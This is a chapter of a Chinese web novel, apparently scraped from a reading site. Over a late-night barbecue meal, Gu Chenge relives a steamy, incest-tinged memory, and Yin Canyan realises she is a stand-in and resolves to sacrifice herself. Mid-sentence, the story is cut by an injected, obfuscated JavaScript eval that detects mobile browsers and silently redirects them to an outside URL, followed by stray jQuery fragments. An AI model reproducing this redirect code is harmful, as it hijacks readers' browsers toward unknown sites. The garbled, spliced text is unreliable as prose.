北大西门外。


    这里是城市的折叠处，没有红墙，没有特楼，只有一条即将拆迁的、路面坑洼的胡同。


    寒风卷着炭火的烟气、劣质醋精的酸味和下水道的腥气，呛得人睁不开眼。


    一家连招牌都挂歪了的通宵烧烤摊前，两张油腻的折叠桌旁，挤满了喝得面红耳赤的民工，和两桌刚下夜班、脖子上挂着工牌、眼神呆滞的大厂程序员。


    殷灿言裹着那件黑色的长羽绒服，缩在矮小的红色塑料方凳上。


    她的面前，立着一瓶绿色的燕京啤酒，泡沫顺着瓶口溢出，淌在充满油垢的桌面上。手里抓着一把烤得滋滋冒油、撒满了辣椒面的羊肉串。


    顾臣戈坐在她对面。


    他穿着那件军大衣，领口高高竖起，遮住了大半张脸，只露出一双在烟雾后若隐若现的眼睛。


    他抬起手，伸向盘子里的红柳大串。


    昏黄的灯泡在头顶摇晃，光影掠过他的手腕。那条蜈蚣一样的黑色线脚，在他磨损泛白的袖口上，显得格外刺眼。


    他撕咬下一块羊肉，咀嚼，吞咽。动作机械，像是在完成一项枯燥的任务。


    炉槽里，一块受热不均的机制炭，突然爆裂。


    「噼啪。」


    火星四溅，发出一声极其清脆的炸响。


    顾臣戈咀嚼的动作，骤然停滞。


    那一瞬间，鼻端那股浓烈的孜然与羊膻味，竟然消失了。


    取而代之的，是一股极其霸道的、不属于这里的幽香。


    那是湿润的霉味，混杂着佩里戈尔黑松露的土腥气，以及一种过度盛放后、濒临腐烂的玫瑰花香。


    那是特楼201室地板缝隙里，渗出来的味道。


    顾臣戈盯着眼前那点忽明忽暗的炭火，瞳孔失去了焦距。


    视线穿透了红色的炭火，穿透了嘈杂的食客，落在了多年前，那条总是接触不良的、昏暗的木质走廊里。


    脚步声。


    赤着脚踩在老旧木地板上的声音。


    一双苍白的、瘦得骨节分明的脚，停在了他的门前。


    那个小女孩穿着一件并不合身、甚至有些滑落的真丝吊带睡裙，站在零度的穿堂风里，身体剧烈地颤抖。


    他走过去，解开外衣，想要裹住她。


    她抬起头。


    走廊尽头的声控灯，「滋啦」一声，灭了。


    在黑暗降临前的最后一秒，他的视线定格在她的下巴左侧。


    那里有一颗极淡的、只有凑得极近才能看清的红痣。


    那颗痣随着她急促的呼吸、随着她死死咬紧下唇的动作，在苍白的皮肤上剧烈颤动——像白色床单上的鸽子血。


    「……哥！」


    记忆里的声音，和在那天爆裂的水管声重叠了。


    「砰——」


    老旧的铸铁暖气片不堪重负，炸开了一道裂口。


    滚烫的、带着铁锈味的黑水喷涌而出。狭小的房间瞬间变成了令人窒息的桑拿房，白色的湿热雾气吞没了一切。


    他在雾气中冲过去，试图堵住漏点，却见她浑身湿透。


    湿透的棉布衬衫紧贴在滚烫的皮肤上。那一轮酒渍玫瑰的香气，在高温蒸汽的蒸腾下，浓烈欲死。


    楼上的那位退了休的女音乐家，又在弹那首舒伯特的《小夜曲》。


    琴声断断续续，透过薄薄的楼板渗下来，混杂着水流声、碰撞声、喘息声……


    还有那个，在他耳边炸开的单音节。


    「Ge……」


    她在他的身下，在那张剧烈摇晃的旧木床上。


    她咬着抓住他的肩膀，指甲死死地掐进他的脊背，抠出血痕。


    在令人窒息的潮湿与玫瑰香气中，她一遍又一遍，从喉咙深处挤出这个模糊不清的音节。


    G……e……


    是「哥」吗？


    那个从小带她玩、给她辅导作业、有着祖辈血缘羁绊的兄长？


    还是「戈」？


    那个叫顾臣戈的男人？


    他分不清。


    在那片滚烫的白雾里，在这两个同音字的迷宫里，他彻底迷失了。


    一阵倒春寒的冷风吹过，卷走了炭火的烟气，也吹散了那股并不存在的玫瑰香。


    顾臣戈猛地闭上眼，又睁开。


    眼前的世界重新变得清晰、油腻、粗砺。


    他抬起眼，视线越过滋滋作响的烤肉，落在了对面的殷灿言身上。


    殷灿言正侧着头，对着瓶口，喝了一口啤酒。


    昏黄的路灯光打在她的侧脸上，勾勒出她清瘦、锋利的下颌线。


    那条线条，那样倔强，那样孤清。


    她微微蹙眉咽下苦涩酒液的样子，她咬着啤酒瓶口时那种下意识的防备姿态……


    重合了。


    顾臣戈手里那根坚韧的红柳枝，在毫无预兆的情况下，从中段断裂。


    断口参差，尖锐的木刺扎进他的指腹，但他没有松手。拇指死死按在断裂处，直到木刺刺破皮肤，沁出一颗暗红色的血珠。


    疼痛让他保持着最后一丝清醒，却无法阻止心脏那一次剧烈的、生理性的早搏。


    他的瞳孔极度收缩，视线穿过缭绕的青白烟雾，死死地钉在了殷灿言的脸上。


    准确地说，是钉在她下巴左侧，那一小片苍白的皮肤上。


    那里，黏着一粒刚刚溅上去的、鲜红的辣椒粉。


    红色的瑕点，白色的肤色，还有因为咀嚼动作而带动的、极其细微的肌肉颤动……


    在那一瞬间，顾臣戈眼前的世界被强行抽帧、褪色——喧嚣的夜市、嘈杂的人声、昏黄的路灯，全部退化成了粗糙的黑白噪点，只有那一粒红，在视野中央疯狂地闪烁、放大。


    恍惚间，眼前这张脸庞的轮廓开始融化、变形，那件黑色大衣，也变成了记忆里那件单薄的丝绸裙子。


    他又看到了那个影子。


    那个在特楼阴冷的楼道里，浑身瑟瑟发抖的影子。


    顾臣戈的喉结滚动了一下，溢出一声极其模糊的气音。


    他缓缓抬起手，抹去了殷灿言嘴角的辣椒粉粒。


    殷灿言的手指一松，那瓶满是水雾的燕京啤酒重重顿在浮着油光的胶合板桌上。


    闷响震得几滴冷凝水滑过指节，顺着手背蜿蜒而下，蜇得那一小块皮肤生疼。


    她任由那股冰冷在皮肤上肆虐，只隔着缭绕的炭烤烟气，盯着对面的男人。


    顾臣戈依然维持着那个替她擦嘴角的姿势，手悬在半空。


    他的瞳孔微微扩散，焦距并没有落在殷灿言的脸上，而是穿透了她，落在了她身后那片漆黑的、不知名的虚无里。


    眼神空洞、悲悯，带着一丝透过活人祭奠亡魂的虚无。


    殷灿言殷灿言眯起眼，视线从他失焦的瞳孔下移，冷冷地拆解着眼前这个男人的微表情。


    关于特楼里那些不合时宜的、被精心保留的旧家具。


    关于除夕夜，暖气管爆裂，满屋子都是那股恼人的白色水雾和腐烂的玫瑰香。


    以及他在风雪夜给她披上大衣时那种熟练到令人心悸的肌肉记忆。


    还有此刻，他盯着她下颌角时，那种仿佛在寻找什么、却又落了空的失落……


    无数个散乱的数据点，在这一瞬间，在她那个精算师的大脑里，连成了一条逻辑完美的闭环曲线。


    原来如此。


    变量找到了。


    殷灿言的手指，极其缓慢地摩挲着啤酒瓶冰冷的玻璃壁，隔着浑浊的空气，下巴微扬，虚虚点了点他衣服袖口上那道并不平整的疤。


    「……臣戈。」


    她忽然开口，省去了姓氏，叫得极轻、极慢。


    顾臣戈的肩头微不可察地一耸，散乱的瞳孔瞬间聚焦，重新映出了殷灿言的脸。


    「……嗯？」


    殷灿言的目光继续下移，越过那些变凉的羊肉串，死死地锁定在了他的左手袖口上。


    那里，有一条歪歪扭扭的、像蜈蚣一样的黑色缝线。


    那是除夕夜，她亲手缝上去的。


    她终于读懂了这件大衣的含义。


    他留着它，不仅是因为御寒，也不仅是因为这是爷爷的遗物。更是因为……这件衣服的纤维里，锁着那个冬夜，那根爆裂暖气管的水雾，和那股让他至死难忘的腐烂玫瑰香。


    「你真的很喜欢这件旧衣服。」


    顾臣戈愣了一下。


    他顺着他的目光看去，身体猛地僵了一瞬。


    下一秒，他下意识地抬起右手，掌心覆盖住那道伤疤似的线脚，拇指指腹狠狠用力摩挲了一下那粗糙的呢料。


    「这衣服……」他喉结滚动了一下，声音发闷，「穿惯了。」


    「惯了不好改。」


    殷灿言盯着他那个欲盖弥彰的动作，唇角极缓慢地扯出一丝没什么温度的弧度。那笑意浮在皮肉上，眼底却是一片结了冰的荒原。


    「但破了就是破了。」


    她重新抓起酒瓶，仰颈，任由苦涩的液体冲刷过食道，带走喉间那点微弱的颤抖。


    「哪怕缝得再好……」酒瓶落回桌面，发出一声脆响，「那道疤，抠不掉。」


    顾臣戈摩挲衣袖的手指倏地顿住，指节泛白。


    殷灿言没等他回应，双手撑着膝盖站起。


    她低头，指尖用力掸去羽绒服下摆沾染的一点炭灰。


    动作极重、极利落，仿佛掸去的不是灰尘，而是某种黏腻的、不该有的温情。


    在那短短的几秒钟里，她脸上的线条发生了一种奇妙的变化。原本那点探究的凄惶褪得干干净净，取而代之的，是一层近乎面具般的冷硬与精明。


    老板端上来两碗热腾腾的、浮着厚厚红油、飘着香菜末的牛肉方便面。


    「二位慢用，不够再加面！」


    顾臣戈拿起那双有些发黑的一次性竹筷，掰开，互相搓了搓上面的毛刺。


    他低头看着碗里那几片薄得可怜的牛肉。


    然后，他伸出筷子。


    极其自然地，把自己碗里大半的牛肉，一片，一片，夹到了殷灿言的碗里。


    殷灿言缓缓坐下，盯着碗里那堆被红油浸透的、切得薄如蝉翼的牛肉片。


    热气混合着劣质辣椒精的刺鼻味道猛地熏腾上来，刺得她眼睑发颤，视线在那一瞬间，被白色的水雾切割得支离破碎。


    透过那层浑浊的、泛着油星的汤面，她仿佛看到了一只盛在纯白骨瓷盅里的、撇去了所有浮油的乌鸡。


    那是恒景一品的落地窗前。


    梁景轩穿着真丝睡衣，手里端着那碗炖了一整天的汤。银勺碰在瓷壁上，发出清脆的、不容拒绝的声响。


    「喝下去。为你好。」


    那汤没放盐，只有昂贵却令人作呕的冬虫夏草的味道，顺着她的喉咙强行灌下去，却从未问过她一句，烫不烫，苦不苦。


    画面一转。


    变成了海德堡深秋的梧桐树下。


    乔珩小心翼翼地剥开一颗滚烫的糖炒栗子，吹掉上面的碎屑，将那颗金黄的果肉，递到她冰凉的掌心。


    那是那个理想主义天文学家口袋里，唯一的温度。


    「滋——」


    头顶那根沾满油


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918485|189948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    污的日光灯管，发出了一声电流不稳的异响，光线闪烁了一下。


    光影破碎。


    乌鸡汤洒了，栗子凉了。


    眼前，只有这张这就连桌腿都垫不平的、泛着油光的折叠桌。


    顾臣戈坐在对面的阴影里。


    他手里捏着那双带着毛刺的、发黑的一次性竹筷。


    那双签个字就能左右一家上市公司ESG等级和GEP的手指，此刻正极其笨拙而认真地，在碗里翻找着。


    他夹起一片薄薄的牛肉，抖掉上面的花椒粒，放进殷灿言的碗里。


    一片，又一片。


    他在那一碗只要十块钱的廉价板面上，给她堆出了一座肉色的、冒着热气的小山。


    没有关于「按需分配」的宏大理论，也没有关于「红色江山」的豪言壮语。


    只有筷子尖触碰到碗沿的轻响。


    「笃。」


    那是某种沉到了底的、不再需要任何修饰的……托举。


    「……顾臣戈。」


    殷灿言的声音哽咽，她没有动筷子：「我不吃。你自己吃。」


    顾臣戈没有停手。


    他又夹了一筷子青菜，盖在那堆牛肉上。


    「太瘦了。」


    他淡淡地说道，语气平静，却不容置疑。


    「国家需要你活着。」


    殷灿言盯着碗里那座冒尖的肉山，喉咙像是被一块滚烫的炭火堵住了。


    鼻腔里那股酸涩的液体疯狂上涌，直冲眼眶。她猛地低下头，不想让他看见眼底漫上来的水汽。她夹起一块带筋的牛肉，甚至没怎么嚼，就生硬地、狼狈地吞了下去。


    粗糙的竹筷把嘴唇磨得生疼。


    借着这股疼劲，她深吸了一口充满了油烟气的空气，抬起头。


    她的眼眶通红，眼睫湿润，嘴角却强行扯出了一个带着倒钩的尖锐弧度。


    她的声音带着浓重的鼻音，有些发颤，却还要装作若无其事地挑衅：「顾同志，这是行政命令吗？」


    顾臣戈停下了手中的动作。


    头顶那根接触不良的日光灯管「滋滋」作响，忽明忽暗的光线在他的镜片上一跳一跳。


    他抬手，食指与中指并拢，轻轻推了推鼻梁上的金丝镜架。


    那个总是像大理石雕像一样严丝合缝、扣着风纪扣的男人，在这个油烟缭绕、满地纸团的深夜，肩膀忽然塌下来几分。


    他身体微微后仰，在那片昏黄的阴影里，嘴角极其缓慢地、向单侧挑起了一个弧度。


    那是一个殷灿言从未见过的笑容。


    一丝极浅的、属于年轻人的、带着一点点痞气的促狭笑意。


    「不。」


    他看着她为了掩饰哭意而塞得鼓鼓囊囊、像仓鼠一样的腮帮子，眼神从镜片后透出来，亮得惊人。


    「是『技术指导』。」


    殷灿言看着那个笑容。


    那是废墟里开出的花，是他在仕途尽毁、名声扫地的至暗时刻，留给她的最后一点体面与鲜活。


    她慢慢地咀嚼着嘴里的肉，直到那一丝咸腥味彻底在舌尖化开。


    她把手伸进羽绒服的口袋，握住了那部冰凉的手机。


    指腹用力按压了一下侧面的快捷键，引出一阵尖锐的痛感。


    牛肉面的热气蒸腾而起，氤氲了她的视线，也掩盖了她瞳孔深处那一点骤然冷却、凝固成冰的杀意。


    既然是个完美的活靶子，那就把戏做全。


    既然需要一个贪婪的捕猎者，来衬托猎物的无辜与愚蠢。


    那她就做那个捕猎者。


    如果这世上必须有人要跳进火坑，才能把这个男人干干净净地送回神坛……


    殷灿言松开手机，重新拿起了筷子，大口吃面。


    ——那个人，只能是她。


    最后一口带着红油的面汤入腹，胃壁痉挛般的抽搐终于平息，取而代之的是一种沉甸甸的、滚烫的饱腹感。


    殷灿言的手指松开，那双被热气熏得微微发黑的一次性竹筷，从指间滑落。


    竹筷磕在粗糙的白瓷碗沿，弹了一下，落回桌上。


    这声脆响极短，像是一把剪刀，咔嚓一声，剪断了两人之间那层隔着氤氲热气、黏稠得化不开的沉默。


    殷灿言伸手，从桌角的塑料盒里抽出一张质地粗糙的餐巾纸。


    她按在嘴唇上，用力地、近乎狠戾地左右碾磨。


    当她把纸团揉皱、扔进脚边的垃圾桶时，那上面沾染的不仅是残留的红油，还有她用来掩盖嘴唇苍白的口红。


    顾臣戈的手刚伸进大衣口袋，指尖触碰到了皮夹的边缘。


    他似乎想说什么，嘴唇微张，动作却在一瞬间僵住了。


    「滋啦——」


    椅子腿在水泥地上重重一挫，划出一道刺耳锐利的尖啸。


    殷灿言已经站了起来。


    她低下头，苍白的手指扣住羽绒服冰冷的金属拉链头。


    手腕发力，猛地向上一提。


    金属锁扣咬合的声音，在深夜寂静的街道上显得格外凄厉。


    拉链一路向上，滑过胸口，滑过脖颈，一直拉到了最顶端，卡住下巴。


    黑色的立领竖起，像一道坚硬的防壁，将那张刚刚被热气熏红、有着片刻生动表情的脸，重新严严实实地埋了进去，只露出一双眼睛。


    「走吧。」


    她径直转身。


    高跟鞋踩在冻硬的柏油路上，敲出这一晚最清晰、最决绝的声响。


    她挺直脊背，迎着巷口凛冽的穿堂风，大步走进那片没有光的黑影里，连头也没有回。